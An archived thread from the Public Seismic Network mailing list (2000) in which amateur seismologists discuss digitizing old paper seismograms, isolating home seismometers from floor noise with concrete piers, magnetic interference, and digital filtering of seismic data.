Re: book "About Earthquakes" (1956) From: ted@.......... Date: Mon, 31 Jul 2000 11:34:06 -0400 Mark, Sorry to hear that. I'll look for the newer version of "Earthquakes." Interesting you mentioned a fax...if one were to scan or fax a paper seismogram into a file, then it should be SMOP* to "digitize" it using just software. *SMOP. a Small Matter Of Programming. Term ususally used by management or spouse when proposing new project, or by PSN members asking Larry for new WinQuake features. :-) Regards, Ted __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: book "About Earthquakes" (1956) From: Tom Genereaux entropy@.............. Date: Mon, 31 Jul 2000 10:23:45 -0500 On possible technique would be to use a linear array of photocells.=20 Basically, you copy the seismogram onto lithographic film, then run the film past a light bar on one side with the photocells on the back.=20 You could also - with loss of resolution - do the same thing with both the light source and photocell array "looking" at the front. =20 You can in fact digitize those old paper records - but I have no idea if anyone is actually doing so. One problem that jumps out at me is the overlap of traces on the helicorders - I'm not sure (at least having had only my second cup of coffee) how to disambiguate overlapping traces during large events.=20 Tom G. On Mon, 31 Jul 2000, you wrote: >=20 > Would anyone have any idea how this "ingenious photo-electric device" f= or > converting paper traces into voltage signals might work? I'm guessing > there must be some sort of activity in the field of Seismology to digit= ize > old paper seismograms, so maybe there are actual commercial devices to = do > the work now. >=20 > Regards, > Ted Blank __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: book "About Earthquakes" (1956) From: ChrisAtUpw@....... Date: Mon, 31 Jul 2000 13:15:05 EDT In a message dated 31/07/00 15:58:41 GMT Daylight Time, ted@.......... writes: > The analogue is an electrical circuit in which the values > of the components are arranged to give them a response to electrical > vibrations that can be compared with the mechanical properties of the > building. An ingenious photo-electric device then converts the record of > an earthquake into a varying electrical current which can be passed through > the analogue, which is [then] studied by the techniques of electrical > engineering." > > Would anyone have any idea how this "ingenious photo-electric device" for > converting paper traces into voltage signals might work? Hello Ted, I think that the earthquake records studied would probably have been single traces produced specially for the purpose, rather then trying to read overlapping traces on a drum. There were two technologies around which could have converted the trace into an electrical signal. Using a black line on a roll of paper, you drew the illuminated paper through the reader at the proper speed and used a servo motor driving two photocells on a cross traverse to follow the black line. You used the servo potentiometer voltage as the output. The other method was to print a negative of the trace on photographic film, so that the trace line was clear against a black background. Then you illuminated one side of the film and drew it across a photopotentiometer. This is a linear device with a cermet strip resistance down one edge, a CdS / CdSe bridge strip in the center and a conductive strip on the other edge. You put a voltage across the resistance and the bridge of CdS underneath the clear trace conducts and transfers the corresponding voltage from the resistor to the conductive strip. You don't need a high frequency response for earthquake signals. From memory, the best resolution that you could get with photopotentiometers was in the 1 micron region. I don't know if you can still buy them? Regards, Chris Chapman __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: book "About Earthquakes" (1956) From: Steve Hammond Shammon1@............. Date: Mon, 31 Jul 2000 13:43:54 -0700 Hi Ted, I cannot be specific about the account you describe, whoever, I can tell you about an effort to digitize the paper records on file at UCLA in 1971-2. At the time, I was one of the on-campus IBM unit record CE's, and we had an 047 keypunch (card and paper tape output) connected to a digitizer board in the Earth Science building. Student would spend their hours taking paper traces from drum recorders and by using a crossbar sight and following the ink line, "Click" the location on the x/y plotting board as each second tick was reached. The resulting time series data was then inputted into the IBM 360 model 91 in Engineering and archived to magnetic tape for further study. Regards, Steve Hammond PSN Aptos, California ted@.......... wrote: > > I came across a copy of this book by G. Eiby of the Wellington (NZ) > Seismological Observatory. Written for the layman, it is easy to > understand and covers a lot of material. Does anyone know if Mr. Eiby is > still around? The book was published in 1956, so maybe not... > > He begins: "Earthquakes were among the earliest discoveries to be made in > New Zealand. Members of Captain Cook's expeditions felt them in the > eighteenth century, and within ten years of the founding of Wellington, the > colonists lost their chimneys." I greatly enjoyed his style of writing. > > One very interesting quote (in this age of digital everything) concerns > using analog (electrical) models of buildings to assess their earthquake > safety. Here's a quote: > > "Most building codes today lay down some definite value of horizontal > acceleration which a building must withstand. In New Zealand, the value > varies from 0.08 to almost 0.16 G... This type of code is gradually being > replaced by a more elaborate consideration of the dynamic characteristics > of the building, and use is now made of electrical models or "analogues" of > the structure. The analogue is an electrical circuit in which the values > of the components are arranged to give them a response to electrical > vibrations that can be compared with the mechanical properties of the > building. An ingenious photo-electric device then converts the record of > an earthquake into a varying electrical current which can be passed through > the analogue, which is [then] studied by the techniques of electrical > engineering." > > Would anyone have any idea how this "ingenious photo-electric device" for > converting paper traces into voltage signals might work? I'm guessing > there must be some sort of activity in the field of Seismology to digitize > old paper seismograms, so maybe there are actual commercial devices to do > the work now. > > Regards, > Ted Blank > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: book "About Earthquakes" (1956) From: ted@.......... Date: Mon, 31 Jul 2000 16:56:51 -0400 Steve, Wow, very labor intensive. Luckily student labor is cheap (esp. grad students...) :-) I agree that overlapping traces on a drum recorder are a bear to decipher. In fact in Eiby's book I was trying to see why he picked and marked various phases on a paper record reproduced in the book. For the life of me I couldn't figure out why he put P, PP, PPP etc. where he did...until I realized that he was marking one revolution before where I was looking. The L waves completely over-wrote the P wave arrival unless you looked very closely...and it is not a very clear reproduction. Hopefully on an original tracing it would be a bit easier. Regards, Ted __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Questions from a beginner From: "Larry Conklin" lconklin@............ Date: Tue, 1 Aug 2000 10:45:52 -0400 Hi I've been lurking on this list for a while and have some qestions for some of the more experienced people. I have build a Shackelford-Gunderson seismometer, based on the electronics board that Larry Cochrane provides. The thing has been running for a couple of months, and I managed to bag several events. My questions all relate to what my expectations should be for the performance of the thing. The sensor is sitting on my basement floor. I live in what is probably a noisier than average location, a residential neighborhood about 500 yards from a very busy street. First, what should I expect to be able to see as a function of distance and magnitude of an event? About the weakest events that I have seen were two from Iceland, both about 6.5, both of which produced very nice and unmistakeable records. But there is a lot of activity that seems to be below my sensititivity (or noise floor). Should I be able to do better? Second, I routinely see a very long period background noise. If I run the Winquake FFT routine on a "no event" record from my system, I see a broad peak around 100 seconds with several spikes in the gram around 60 - 120 seconds. I wouldn't be surprised if a lot of this is thermal noise, but it would be nice to know if what I'm seeing is reasonably typical of seismic noise. The noise level does seem lower at night, when there isn't any activity in the house. I understand that there are continuout microseisms with a period of around 6 seconds (?). They aren't obvious in my records, perhapse because I don't have the LF gain set high enough. My LF noise level produces peaks that average around 20 or so from a 12 bit A-D converter. My other problem is a basement floor that is about as stiff as a trampoline. Haven't been able to find a spot that is immune to people walking on the floor above. Short of buying a new house or pouring concrete in the back yard, I'm probably stuck with that one. I'd appreciate anyone's comments or suggestions. I'm having fun, but have a lot to learn. Larry Conklin lconklin@............ __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: BOB BARNS roybar@........ Date: Tue, 01 Aug 2000 13:35:00 -0400 Larry Conklin, I also have my seismometer on a basement floor which is flexible. As a suggestion (I have'nt tried it):Find a contractor who can use a diamond core drill to drill 3 holes, spaced like the feet on your seismometer, thru the floor with a diameter of 2 to 3". Drive smaller diameter pipe thru the holes into the ground beneath but don't let the pipe touch the basement floor. Mount the seis on top of the pipes. As a wild guess, the cost of the holes might be less than $200. Let us know if this works as I'm sure that others have the same problem. About which events you should see:I get good recordings (with a Lehman of about 20" period) of an event anywhere in the world which has a magnitude of about 6 or higher unless the great circle route to the event lies in the insensitive direction (along the boom). Bob Barns Berkeley Heights, NJ Larry Conklin wrote: > > Hi > > I've been lurking on this list for a while and have some qestions for some > of the more experienced people. I have build a Shackelford-Gunderson > seismometer, based on the electronics board that Larry Cochrane provides. > The thing has been running for a couple of months, and I managed to bag > several events. > > My questions all relate to what my expectations should be for the > performance of the thing. The sensor is sitting on my basement floor. I > live in what is probably a noisier than average location, a residential > neighborhood about 500 yards from a very busy street. > > First, what should I expect to be able to see as a function of distance and > magnitude of an event? About the weakest events that I have seen were two > from Iceland, both about 6.5, both of which produced very nice and > unmistakeable records. But there is a lot of activity that seems to be > below my sensititivity (or noise floor). Should I be able to do better? > > Second, I routinely see a very long period background noise. If I run the > Winquake FFT routine on a "no event" record from my system, I see a broad > peak around 100 seconds with several spikes in the gram around 60 - 120 > seconds. I wouldn't be surprised if a lot of this is thermal noise, but it > would be nice to know if what I'm seeing is reasonably typical of seismic > noise. The noise level does seem lower at night, when there isn't any > activity in the house. I understand that there are continuout microseisms > with a period of around 6 seconds (?). They aren't obvious in my records, > perhapse because I don't have the LF gain set high enough. My LF noise > level produces peaks that average around 20 or so from a 12 bit A-D > converter. > > My other problem is a basement floor that is about as stiff as a trampoline. > Haven't been able to find a spot that is immune to people walking on the > floor above. Short of buying a new house or pouring concrete in the back > yard, I'm probably stuck with that one. > > I'd appreciate anyone's comments or suggestions. I'm having fun, but have a > lot to learn. > > Larry Conklin > lconklin@............ > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: "Tom Schmitt" tschmitt@.............. Date: Tue, 1 Aug 2000 15:38:55 -0400 You can also rent concrete saws at most rental stores. Also concrete blades on skill saws can cut through basement ok but I find that cutting more than an inch or so with an electric saw to be a pain. With either set up a several square foot hole for a pier could be cut. Not as neat as the hole saw but potentially less expensive Tom Schmitt tschmitt@............... ----- Original Message ----- From: BOB BARNS To: Sent: Tuesday, August 01, 2000 1:35 PM Subject: Re: Questions from a beginner > Larry Conklin, > I also have my seismometer on a basement floor which is flexible. As > a suggestion (I have'nt tried it):Find a contractor who can use a > diamond core drill to drill 3 holes, spaced like the feet on your > seismometer, thru the floor with a diameter of 2 to 3". Drive smaller > diameter pipe thru the holes into the ground beneath but don't let the > pipe touch the basement floor. Mount the seis on top of the pipes. > As a wild guess, the cost of the holes might be less than $200. Material cut > > My other problem is a basement floor that is about as stiff as a trampoline. > > Haven't been able to find a spot that is immune to people walking on the > > floor above. Short of buying a new house or pouring concrete in the back > > yard, I'm probably stuck with that one. > > > > I'd appreciate anyone's comments or suggestions. I'm having fun, but have a > > lot to learn. > > > > Larry Conklin > > lconklin@............ > > > > __________________________________________________________ > > > > Public Seismic Network Mailing List (PSN-L) > > > > To leave this list email PSN-L-REQUEST@.............. with > > the body of the message (first line only): unsubscribe > > See http://www.seismicnet.com/maillist.html for more information. > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: John Hernlund hernlund@....... Date: Tue, 01 Aug 2000 13:40:30 -0700 (MST) On Tue, 1 Aug 2000, Larry Conklin wrote: > Second, I routinely see a very long period background noise. If I run the > Winquake FFT routine on a "no event" record from my system, I see a broad > peak around 100 seconds with several spikes in the gram around 60 - 120 > seconds. I wouldn't be surprised if a lot of this is thermal noise, but it > would be nice to know if what I'm seeing is reasonably typical of seismic > noise. The noise level does seem lower at night, when there isn't any > activity in the house. I understand that there are continuout microseisms > with a period of around 6 seconds (?). They aren't obvious in my records, > perhapse because I don't have the LF gain set high enough. My LF noise > level produces peaks that average around 20 or so from a 12 bit A-D > converter. Larry, One thing not discussed often on the list is digital noise filtering. If you have some programming experience, many routines for this type of filtering are available for free (especially in fortran). If you see a time span in your seismogram that you think might be hiding an event, you can try filtering that section of data. The simplest and most encountered type of noise filter is the Weiner filter. It uses the mathematical idea that the noise and the untainted signal are not correlated. The power spectrum of the noise and the untainted signal can often be easily estimated from the power spectrum (modulus squared frequency spectrum) of a digital record. Knowledge of this then leads to the construction of the filter, which when applied to the data can often have amazing results. If you or anyone else wants more info on this, let me know and I can post some pdf files describing the numerical routines and theory. ****************************************************************************** John Hernlund Department of Geological Sciences Arizona State University E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: ted@.......... Date: Tue, 1 Aug 2000 17:08:01 -0400 I had this problem in the Almaden Country School 8th grade classroom. The stand-alone classroom building was built over a 4-ft high crawl space with 16 ft. spans between piers. Talk about a trampoline... Our solution was to enter the crawl space and place the sensor on concrete blocks directly on the dirt floor. There was no room to pour concrete for footings, but this worked fine for two years. We put the amp down there too, but only do this if it is a 12-v power supply. Is there any space below your floor to hold the sensor, with some access? We had to disassemble the sensor to get it through the cut-out in the floor of the closet which provided the only access to the crawl space. If not, can you pour a slab outdoors and protect the area with an enclosure? Or maybe this is the opportunity to build a place for those lawn tools... Regards, Ted Blank __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: Ed Thelen ethelen@........ Date: Tue, 01 Aug 2000 16:30:55 -0700 Tom Schmitt wrote: > > You can also rent concrete saws at most rental stores. > > Also concrete blades on skill saws can cut through basement ok but I find > that cutting more than an inch or so with an electric saw to be a pain. I am now an "expert" concrete cutter. Wanted to make 2 straight cuts in a sidewalk (no re-enforcing iron wire) each about 2 feet long. Bought 3 "ceramic" abrasive blades for my skill type saw. Wore out the abrasive blades with out much to show for it except teaspoons of abrasive to sweep up. Cut fast, cut slow, all the same - blades died quickly. Bought a diamond blade (with great fear of damaging the fragile damonds. No worry, easy does it - the diamond saw cut faster, and finished the job, and the saw looks almost new. Cheers Ed Thelen __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Holes in the trampoline From: "Larry Conklin" lconklin@............ Date: Tue, 1 Aug 2000 20:20:29 -0400 Hi, Thanks all for the interesting suggestions. My wife already thinks I'm crazy. If I start cutting holes in the basement floor I'd probably wind up sleeping with the seismograph in the dog house! Actually, my problem isn't too bad, since I currently have the sensor under a room that gets very little traffic. Part of my problem is that the basement has a couple of interior walls that communicate weight on the floor above down to the concrete floor. No matter where I put the thing, I can't get very far from a wall. Forgot to mention in my original post that I'm located near Syracuse, NY. Not exactly a hotbed of seismic activity, so I expect that most of my catches will be of the teleseismic variety. Larry __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Data filtering From: "Larry Conklin" lconklin@............ Date: Tue, 1 Aug 2000 20:37:15 -0400 John, The idea had already crossed my mind that it might be interesting to build some sort of a software digital filter. I am a retired electrical-turned-software engineer but don't know much about digital filtering. I'd be very interested in any information you could provide me. I have experimented a little with the filtering capabilities in Winquake on some of my event files. A high pass with a 30 second cut-off (ie. .033 hz) is very effective in cleaning up my data. Larry On Tue, 1 Aug 2000, Larry Conklin wrote: > Second, I routinely see a very long period background noise. If I run the > Winquake FFT routine on a "no event" record from my system, I see a broad > peak around 100 seconds with several spikes in the gram around 60 - 120 > seconds. I wouldn't be surprised if a lot of this is thermal noise, but it > would be nice to know if what I'm seeing is reasonably typical of seismic > noise. The noise level does seem lower at night, when there isn't any > activity in the house. I understand that there are continuout microseisms > with a period of around 6 seconds (?). They aren't obvious in my records, > perhapse because I don't have the LF gain set high enough. My LF noise > level produces peaks that average around 20 or so from a 12 bit A-D > converter. Larry, One thing not discussed often on the list is digital noise filtering. If you have some programming experience, many routines for this type of filtering are available for free (especially in fortran). If you see a time span in your seismogram that you think might be hiding an event, you can try filtering that section of data. The simplest and most encountered type of noise filter is the Weiner filter. It uses the mathematical idea that the noise and the untainted signal are not correlated. The power spectrum of the noise and the untainted signal can often be easily estimated from the power spectrum (modulus squared frequency spectrum) of a digital record. Knowledge of this then leads to the construction of the filter, which when applied to the data can often have amazing results. If you or anyone else wants more info on this, let me know and I can post some pdf files describing the numerical routines and theory. **************************************************************************** ** John Hernlund Department of Geological Sciences Arizona State University E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ **************************************************************************** ** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Holes in the trampoline From: ChrisAtUpw@....... Date: Tue, 1 Aug 2000 21:36:18 EDT In a message dated 02/08/00 01:21:44 GMT Daylight Time, lconklin@............ writes: > Thanks all for the interesting suggestions. Some more random thoughts.... > My wife already thinks I'm crazy. She is complaining because her judgement was only 99% correct? > If I start cutting holes in the basement floor I'd probably wind up > sleeping with the seismograph in the dog house! Er, could you put the seismograph in the doghouse and the dog in the basement? > The noise level does seem lower at night, when there isn't any > activity in the house. I understand that there are continuous microseisms > with a period of around 6 seconds (?). They aren't obvious in my records, > perhapse because I don't have the LF gain set high enough. The filters are usually designed to reject this range..... Otherwise you may not see any teleseisms..... You could try wedging or clamping the pendulum and looking at the noise again..... What you see should now all be instrumental. Most SG's have a magnet on them, so they can also pick up magnetic field changes.... The Earth's field has been quite 'disturbed' lately. Regards, Chris __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Data filtering From: Larry Cochrane cochrane@.............. Date: Tue, 01 Aug 2000 18:51:16 -0700 All, I found a pretty good book called Analog and Digital Filter Design by Les Thede. I got mine at Amazon.com. The description of the book at Amazon said it comes with a disk. Actually you need to download it from here www.onu.edu/user/FS/lthede/. Using this book and the "C" code he supplies, I was able to add time domain filtering to WinQuake. The user will be able to do high or low pass filtering directly to the data set without having to do a FFT first. This and supporting the new PSN format will be the main new features in the next release. -Larry Cochrane Redwood City, PSN At 08:37 PM 8/1/00 -0400, you wrote: > >John, > >The idea had already crossed my mind that it might be interesting to build >some sort of a software digital filter. I am a retired >electrical-turned-software engineer but don't know much about digital >filtering. I'd be very interested in any information you could provide me. >I have experimented a little with the filtering capabilities in Winquake on >some of my event files. A high pass with a 30 second cut-off (ie. .033 hz) >is very effective in cleaning up my data. > >Larry > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Holes in the trampoline From: n0cwr@......... Date: Wed, 02 Aug 2000 03:16:39 +0000 At 08:20 PM 8/1/00 -0400, you wrote: >Hi, > >Thanks all for the interesting suggestions. My wife already thinks I'm >crazy. If I start cutting holes in the basement floor I'd probably wind up >sleeping with the seismograph in the dog house! (Humor): Our solution was simple. We usually get good reads at night. And surprisingly, we've had a satisfying amount of good reads the last year or so now. Sure, we miss some reads to noise, but not that many. Actually, when my son finds a location for "his" seismometer, ...(someday?)... (...he built the Lehman as a college project and I've been "baby sitting" it since.) I'm thinking about an observation hive for honey bee's in the location that the Lehman seismometer is in now, a small room in my attached garage. Crazy? Holes? How about a few 1 inch holes and some PCV tubing through exterior walls? Bee's to benefit our flower garden, as well to help the now locally scarce bee's due the parasite infestation a few years back. Just another hobby. ....Son graduated this year with a B.S in Geology and he now needs to find a job and a home for the Lehman of his own. BTW...I'm thinking of putting a pool table in his old room. Bar room size should fit. Yo Pop! __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Data filtering From: John Hernlund hernlund@....... Date: Tue, 01 Aug 2000 20:36:04 -0700 (MST) On Tue, 1 Aug 2000, Larry Cochrane wrote: > I found a pretty good book called Analog and Digital Filter Design by Les > Thede. I got mine at Amazon.com. The description of the book at Amazon said > it comes with a disk. Actually you need to download it from here > www.onu.edu/user/FS/lthede/. > > Using this book and the "C" code he supplies, I was able to add time domain > filtering to WinQuake. The user will be able to do high or low pass > filtering directly to the data set without having to do a FFT first. This > and supporting the new PSN format will be the main new features in the next > release. There are quite a few books out there on filtering and noise reduction, especially in the exploration seismology literature. One of the best general books on just about every numerical topic with really good supplied routines is "Numerical Recipes: The Art of Scientific Computing" which covers a great amount of topics and even goes into the theory behind different numerical techniques. The main book is in fortran and pascal, but they have some other versions in C as well. The numerical codes are all given as functions or subroutines, which makes it easy to implement them in an existing code. There is a good chapter on digital filtering which covers FFT, power spectra, noise reduction, etc.. They had posted a free copy of an older version of the book (fortran77) on the web in pdf format. When I find it again, I'll post the address to the list. ****************************************************************************** John Hernlund Department of Geological Sciences Arizona State University E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: book "About Earthquakes" From: John Taber taber@............. Date: Wed, 2 Aug 2000 17:32:10 +1200 (NZST) >George is sadly no longer with us. He worked at the Institute of >Geophysics here in Wellington as I recall. He has published a number of >books, many aimed at laymen, Earthquakes was published in a revised >edition in the 80s. And Volcanoes was published about the time George >died which is a while ago now. I think George would have been a keen supporter of the PSN, as in his will he set up the Planet Earth Fund, for the encouragement of the study of earthquakes, earth properties and astronomy. The terms of the fund say that there should be no distinction between amateur and professional scientists. >>in 1971-2 .. Student would spend >>their hours taking paper traces from drum recorders and by using a >>crossbar sight and following the ink line, "Click" the location on >>the x/y plotting board as each second tick was reached. >Wow, very labor intensive. Luckily student labor is cheap (esp. grad >students...) :-) Hand digitising of old records (by grad students, of course 8-) ) continues today, usually for source mechanism studies of particularly interesting old earthquakes. Cheers, John Taber __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: Jack Ivey ivey@.......... Date: Wed, 02 Aug 2000 10:38:00 -0400 I have noticed that when my Lehman has its pivot against the basement wall (with the pendulum sticking out into the basement), this seems to minimize the noise from activity in the house. When I tried it in the middle of the floor, I could see (it seemed) a squirrel jumping on the roof. I finally realized that this was because I had placed the left foot of the Lehman directly next to a support column, which was translating load changes on the first and second floor into tilt noise. When seismo is placed in the middle of the wall with the sensitive axis along the wall, the wall will move up and down with load changes,but there is relatively little translation into tilt sue to symmetry. Jack Ivey KB8SPI __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: Jan Froom Froom@............. Date: Wed, 02 Aug 2000 08:33:35 -0700 I think beginner's should be aware there there are two factions to PSN members.... Those that take all this VERY SERIOUSLY and some of us that just enjoy building, trying this and that, and learning. I mounted a seismometer on the wall of a classroom so that the kids could see, but not touch. Of course it saw the wind, and doors closing, and basket balls bouncing, but it also saw local earthquakes... And the kids learned to see the difference..... We've also learned from our members, that seismometers have been used to track hurricanes and other earth shaking activities that aren't seismic. Steve Hammond used his to tell when his girls were sneaking in from late dates It's not how perfect your device is... it's what you learn from playing with it! Break the rules, try your own special idea, and then tell us about it... Garlic Festival Jan... in Gilroy, CA I think beginner's should be aware there there are two factions to PSN members....
Those that take all this VERY SERIOUSLY  and some of us  that just enjoy building,
trying this and that, and learning.

I mounted a seismometer on the wall of a classroom so that the kids could see,
but not touch. Of course it saw the wind, and doors closing, and basket balls
bouncing, but it also saw local earthquakes...  And the kids learned to see the difference.....

We've also learned from our members, that seismometers have been used to track hurricanes
and other earth shaking activities that aren't seismic.
Steve Hammond used his to tell when his girls were sneaking in from late dates

It's not how perfect your device is... it's what you learn from playing with it!
Break the rules, try your own special idea, and then tell us about it...

Garlic Festival Jan... in Gilroy, CA Subject: Re: Questions from a beginner From: "Larry Conklin" lconklin@............ Date: Wed, 2 Aug 2000 12:09:19 -0400 Jack Ivey wrote > I have noticed that when my Lehman has its pivot against > the basement wall (with the pendulum sticking out into the > basement), this seems to minimize the noise from activity > in the house. When I tried it in the middle of the floor, > could see (it seemed) a squirrel jumping on the roof. I > finally realized that this was because I had placed the left > foot of the Lehman directly next to a support column, which > was translating load changes on the first and second floor > into tilt noise. > When seismo is placed in the middle of the wall with the > sensitive axis along the wall, the wall will move up and down > with load changes,but there is relatively little translation into > tilt sue to symmetry. I also have assumed that a spot in the middle of the floor would be better, because it would be separated from structural loads communicated through the walls. Due to interior walls in the basement, and support columns, I can't get far enough away from everything to test the theory. Your symmetry effect isn't too noticeable in my case. My most important move was away from the driveway. Up till that point I had a Toyota detector. Larry By the way, does a "reply to sender" post go back to the list or to the original sender only? I'm on another list that sends this kind of response back to the individual, rather than the entire list. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: floor slab pier From: sean@........... Date: Wed, 2 Aug 2000 12:46:07 -0500 (CDT) Regarding sawing up the slab floor: our experience: We have an IRIS station just west of Nashville at Waverly, TN (WVT) at a TN div of geology drilling core storage facility. To make the original pier, we had a contractor saw a double slit around a 5 ft x 10 ft piece of the floor and remove the concrete between the slits that were 4" apart. This effectively isolated the "pier" from most local noise, although we would still get many event triggers when the geologists were playing with their rocks. But serious horizontal tilt noise was still a problem for the STS-1 seismometers operating at 360 seconds. So we got $5k from IRIS and had the slab pier removed, and dug a pit 6 ft deep to a more consolidated clay layer (bedrock is 30 ft down), and filled the pit with concrete back up to the floor level. THe gap between the pier and the floor was filled with tar (a bad idea!: we had to cover it with ethofoam to keep it off of everything). The new pier reduced the horizontal noise by greater than a factor of 10. A note on such piers and the idea of putting pipes thru the floor to support a pier: don't make an inverted pendulum. The depth of the arrangement should generally be no more than its smallest horizontal dimension. Even in consolidated clays it could wobble around. And remember that a horizontal seis is sensitive to tilt noise as the square of the operating period, whereas a vertical is not. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: Larry Cochrane cochrane@.............. Date: Wed, 02 Aug 2000 12:29:50 -0700 At 12:09 PM 8/2/00 -0400, Larry Conklin wrote: >By the way, does a "reply to sender" post go back to the list or to the >original >sender only? I'm on another list that sends this kind of response back to >the >individual, rather than the entire list. When you hit reply the list address should show up in the To: field. -Larry Cochrane Redwood City, PSN __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Data filtering From: John Hernlund hernlund@....... Date: Wed, 02 Aug 2000 12:31:51 -0700 (MST) Okay I have found the free Numerical Recipes site. The address is: http://lib-www.lanl.gov/numerical/index.html They have pdf and postscript versions in several different programming languages. Trust me, this is an incredibly valuable resource for anybody interested in numerical work. Enjoy! ****************************************************************************** John Hernlund Department of Geological Sciences Arizona State University E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: floor slab pier From: Karl Cunningham karlc@....... Date: Wed, 02 Aug 2000 13:20:56 -0700 Sean-Thomas -- Did the tar work well for isolating noise? I'd think it might not be very good above some freqeuncy. I've thought about digging out a section of garage floor and pouring a pier down to bedrock (<10 ft down). But then how to prevent things from falling into the gap, yet not couple noise from the surrounding slab? How about thin rubber sheeting across the gap? Other materials? Regards, Karl At 12:46 PM 8/2/2000 -0500, you wrote: >Regarding sawing up the slab floor: our experience: >But serious horizontal tilt noise was still a problem for the STS-1 >seismometers operating at 360 seconds. So we got $5k from IRIS and >had the slab pier removed, and dug a pit 6 ft deep to a more consolidated >clay layer (bedrock is 30 ft down), and filled the pit with concrete >back up to the floor level. THe gap between the pier and the floor >was filled with tar (a bad idea!: we had to cover it with ethofoam >to keep it off of everything). The new pier reduced the horizontal >noise by greater than a factor of 10. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: CapAAVSO@....... Date: Wed, 2 Aug 2000 16:58:04 EDT In a message dated 8/2/00 11:37:23 AM Eastern Daylight Time, Froom@............. writes: << I think beginner's should be aware there there are two factions to PSN members....Those that take all this VERY SERIOUSLY and some of us that just enjoy building, trying this and that, and learning. >> (Humor): Not really. There is actually a continuum rather than two factions. It is best to start near the non-serious end of continuum to get a feel for how a seismograph works before advancing up the continuum toward very serious. It is said that moderation in all things is best and this probably applies to an amateurs interest in seismology. If you get so serious that you have concrete trucks pulling up on your front lawn filling a big six-foot-deep hole you dug in the basement with concrete, someone is apt to call the cops and have you taken off to the loony bin for committing violence against your basement floor !!! Better be careful ----- Cap __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: ChrisAtUpw@....... Date: Wed, 2 Aug 2000 17:24:19 EDT In a message dated 02/08/00 17:10:53 GMT Daylight Time, lconklin@............ writes: > My most important move was away from the driveway. Up till that > point I had a Toyota detector. Larry, This suggests that you probably ARE picking up magnetic interference. On your SG rig, you have a powerful bar magnet part way down the pendulum, don't you? This can react to any changes in the local magnetic field. Might it be a good idea to check if any of your noise signals are associated with any domestic appliances? As a rough guide, a 1/4 x !/4 x 1 inch Alnico magnets as used for reed switches produced 50 nT at 53" and a smaller 4.5 x 4.5 x 28 mm magnet give a similar field at 45". This is about the change you see on the Earth's field on a 'quiet' day. Magnetic storms can give over 10x this. Regards, Chris __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: RE. PERIOD From: JAMES ALLEN radiotel@........ Date: Wed, 2 Aug 2000 19:45:40 -0700 Is there a simple way to determine the period of a Lehman Seismograph in Winquake? If not can any other software be utilized for this purpose? radiotel@........ ________________________________________________________________ YOU'RE PAYING TOO MUCH FOR THE INTERNET! Juno now offers FREE Internet Access! Try it today - there's no risk! For your FREE software, visit: http://dl.www.juno.com/get/tagj. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: barry lotz gbl@....... Date: Wed, 02 Aug 2000 21:03:43 -0700 Hi John I also have been using digital filtering with one of my computers with an smt-8 style vertical. I tried IIR filtering but ran into numerical stability problems. I found better luck with multipole FIR filtering. I made a program in Basic to create the filter coefficients for a desired shape and then have an option in my data acquisition program to use the filter file created. It works quite well on a 386. What I like is you can create various filter responses in different frequency ranges and if this doesn't work for the noise you just change the coeficients not the hardware. I am trying to have the program create it's own filter based on the long term background noise. Currently this consideration is included in my trigger routine. Regards Barry John Hernlund wrote: > On Tue, 1 Aug 2000, Larry Conklin wrote: > > Second, I routinely see a very long period background noise. If I run the > > Winquake FFT routine on a "no event" record from my system, I see a broad > > peak around 100 seconds with several spikes in the gram around 60 - 120 > > seconds. I wouldn't be surprised if a lot of this is thermal noise, but it > > would be nice to know if what I'm seeing is reasonably typical of seismic > > noise. The noise level does seem lower at night, when there isn't any > > activity in the house. I understand that there are continuout microseisms > > with a period of around 6 seconds (?). They aren't obvious in my records, > > perhapse because I don't have the LF gain set high enough. My 